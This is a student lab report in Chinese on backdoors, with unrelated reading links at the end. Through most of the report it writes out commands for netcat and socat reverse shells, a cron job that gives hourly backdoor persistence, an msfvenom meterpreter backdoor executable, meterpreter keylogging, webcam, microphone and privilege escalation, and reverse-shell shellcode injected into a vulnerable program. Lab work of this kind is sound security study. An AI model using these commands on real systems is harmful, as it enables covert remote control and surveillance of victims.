• 2019-2020-2 20175334罗昕锐《网络对抗技术》Exp2 后门原理与实践


    2019-2020-2 20175334罗昕锐《网络对抗技术》Exp2 后门原理与实践

    1 实践说明

    1.1实践内容

    • (1)使用netcat获取主机操作Shell,cron启动

    • (2)使用socat获取主机操作Shell, 任务计划启动

    • (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    • (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    • (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell,加分内容一并写入本实验报告

    1.2基础知识

    • 后门概念

      • 后门就是不经过正常认证流程而访问系统的通道
    • 哪里有后门

      • 编译器留后门

      • 操作系统留后门

      • 最常见的当然还是应用程序中留后门

      • 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序

    2 使用netcat获取主机操作Shell,cron启动

    2.1 Windows获得Linux Shell

    • windows中通过win+R——cmd——ipconfig查看IP地址

    • 关闭防火墙,windows使用ncat.exe -l -p 5334打开监听,并检查windows和linux的连通性


    • linux使用nc 192.168.1.4 5334 -e /bin/sh反弹连接windows

    • windows下获得一个linux shell,可运行任何指令,如ls

    2.2 Linux获得Windows Shell

    • linux使用ifconfig查看IP地址

    • linux使用nc -l -p 5334打开监听

    • windows使用ncat.exe -e cmd.exe 192.168.186.133 5334反弹连接linux

    • linux下看到windows的命令提示

    2.3 cron启动

    • linux使用crontab -e并选择3进入编辑模式,在最后一行添加40 * * * * /bin/netcat 192.168.1.4 5334 -e /bin/sh,表示每个小时的第40分钟执行后面的那条指令

    • linux在40分钟时连接windows,这是一个反弹连接式后门,监听的windows连接后可获得shell

    2.4 nc传输数据

    • windows使用ncat.exe -l 5334监听端口,linux使用nc 192.168.1.4 5334反弹连接到windows的端口,连接建立成功后双方可互传输数据

    3 使用socat获取主机操作Shell, 任务计划启动

    3.1 socat

    • windows打开计算机管理,在任务计划程序中创建任务

    • 新建操作,并在程序或脚本中选择socat.exe路径,添加参数一栏填写tcp-listen:5334 exec:cmd.exe,pty,stderr

    • 新建触发器,选择时间

    • 到达时间后会自行触发

    • linux使用socat - tcp:192.168.1.4:5334完成连接,获得windows shell

    4 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    4.1 MSF meterpreter

    • linux使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.186.133 LPORT=5334 -f exe > backdoor5334.exe生成后门程序

    • windows使用ncat.exe -lv 5334 > backdoor5334.exe,查看连接状态


    • linux使用nc 192.168.1.4 5334 < backdoor5334.exe传输后门程序,传输成功后windows会给出提示


    • linux使用msfconsole进入msf控制台,并键入以下命令
    use exploit/multi/handler,使用监听模块,设置payload
    set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
    set LHOST 192.168.186.133,此处为linux的IP地址
    set LPORT 5334,使用相同的端口
    show options,查看设置
    

    • linux使用exploit开始监听,并在windows中运行后门程序,linux成功获得windows的shell


    5 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    5.1 获取录音权限

    • linux使用record_mic可以截取一段音频

    5.2 获取摄像头权限

    • linux使用webcam_snap可以获取摄像头内容

    5.3 获取其它权限

    • linux使用keyscan_start可以记录下击键的过程,使用keyscan_dump可以读取击键记录

    • linux使用screenshot可以进行截屏

    • linux使用getuid可以查看当前用户,使用getsystem可以进行提权操作

    6 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    6.1 shellcode

    • Exploit DataBase中搜索linux/x86 - Reverse下载反弹连接的shellcode并提取其中的机器码
      x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80

    • linux使用echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化

    • 使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode
    32;print"x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode
    
    • 打开一个终端使用(cat input_shellcode;cat) | ./pwn1注入这段攻击buf,再开另外一个终端使用ps -ef | grep pwn1找到pwn1的进程号,之后启动gdb使用attach调试,使用disassemble foo查看ret的地址,设置断点,然后在另外一个终端中按下回车,再在gdb输入c继续运行,

    • 使用info r esp查看栈顶指针所在的位置,并查看改地址存放的数据


    存放的地址为0xffffd2f0,计算出shellcode地址就是0xffffd2f0+4,即0xffffd2f4

    • 在一个终端中打开msf控制台,输入以下命令:
    use exploit/multi/handler,设置payload
    set payload linux/x86/shell_reverse_tcp
    set LHOST 127.0.0.1,设置ip
    set LPORT 4444,设置端口
    show options,查看选项
    exploit ,设置完成,开始监听
    
    • 在另一个终端修改input_shellcode并使用cat input_shellcode;cat) | ./pwn1运行pwn1文件,在第一个终端中可以看到已经成功调取了shell



    7 实验收获与感想

    • 本次实验较为简单,不用花费太多时间;通过本次实验,让我感受到了后门的危害性,通过后门,攻击者可以控制我们的电脑,窃取信息,所以如何防范此类事件的发生更是本次实验后值的思考的一件事,希望在日后的学习过程中能够学到更多技术去研究

    8 回答问题

    • (1)例举你能想到的一个后门进入到你系统中的可能方式?

      • 在非官方网站下下载应用程序
    • (2)例举你知道的后门如何启动起来(win及linux)的方式?

      • linux:cron定时启动;windows:修改注册表项
    • (3)Meterpreter有哪些给你印象深刻的功能?

      • 获取目标主机的音频、摄像头、击键记录等功能
    • (4)如何发现自己有系统有没有被安装后门?

      • 查看注册表、进程、端口情况,使用杀毒软件进行查杀
  • 相关阅读:
    第一章:计算机网络参考模型
    阿里云ECS hadoop+spark+zookeeper+hive code-server 集群搭建
    IDEA SSM+MAVEN+JWT 图书管理系统
    IDEA SSM后端框架入门
    code-server Command ' ' not found
    code-server scala error: object apache is not a member of package org
    下面给出一个child-parent的表格,要求挖掘其中的父子辈关系,给出祖孙辈关系的表格。
    现在有多个输入文件,每个文件中的每行内容均为一个整数。要求读取所有文件中的整数,进行升序排序后,输出到一个新的文件中,输出的数据格式为每行两个整数,第一个整数为第二个整数的排序位次,第二个整数为原待排列的整数。
    对于两个输入文件,即文件A 和文件B ,请编写MapReduce程序,对两个文件进行合并排除其中重复的内容,得到一个新的输出文件C。
    现有以下关系型数据库中的表(见表4-20表4-21和表4-22),要求将具转换为适合Hbase存储的表并插入数据。
  • 原文地址:https://www.cnblogs.com/lxr1006/p/12484388.html
Copyright © 2020-2023  润新知